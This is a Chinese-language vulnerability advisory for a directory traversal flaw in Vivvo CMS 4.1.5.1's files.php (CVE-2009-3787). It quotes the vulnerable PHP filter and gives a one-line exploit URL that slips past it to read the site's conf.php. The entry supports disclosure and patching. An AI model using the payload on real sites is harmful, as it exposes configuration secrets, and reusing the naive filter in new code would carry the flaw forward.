Vivvo CMS files.php目录遍历漏洞


添加时间:
2009-10-22

系统编号:
WAVDB-01488
BugCVE: CVE-2009-3787
BUGTRAQ: 36783

影响版本:
Vivvo CMS 4.1.5.1

程序介绍:

Vivvo CMS是一款国外的商业内容管理系统,基于Ajax后台管理。

漏洞分析:

Vivvo CMS的files.php页面没有正确地过滤用户在POST或GET请求中所提交的file参数,远程攻击者可以通过向服务器提交恶意参数请求执行目录遍历攻击,读取任意系统文件。以下是有漏洞代码段:
 
-----------------------------[source code start]-------------------------------
if (isset($_REQUEST["file"])) {
    $filename = str_replace('..', '', $_REQUEST["file"]);
    $filename = str_replace('logs/', '', $filename);
    $file = VIVVO_FS_ROOT . 'files/' . $filename;
    if (file_exists($file) && !is_link($file) && !is_dir($file)){
        $file_split =  explode('.', $file);
        $ext = end ($file_split);        
...
        header("Content-type: application/force-download");
        header("Content-disposition: attachment; filename=\"".basename($file)."\"");        
    }
    readfile($file);
-----------------------------[source code end]---------------------------------


漏洞利用:

http://www.example.com/vivvo.4.1.5.1/files.php?file=.logs/./conf.php

解决方案:
厂商补丁:
Spoonlabs
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.spoonlabs.com/

信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://marc.info/?l=bugtraq&m=125615322117821&w=2
http://secunia.com/advisories/37117/
*>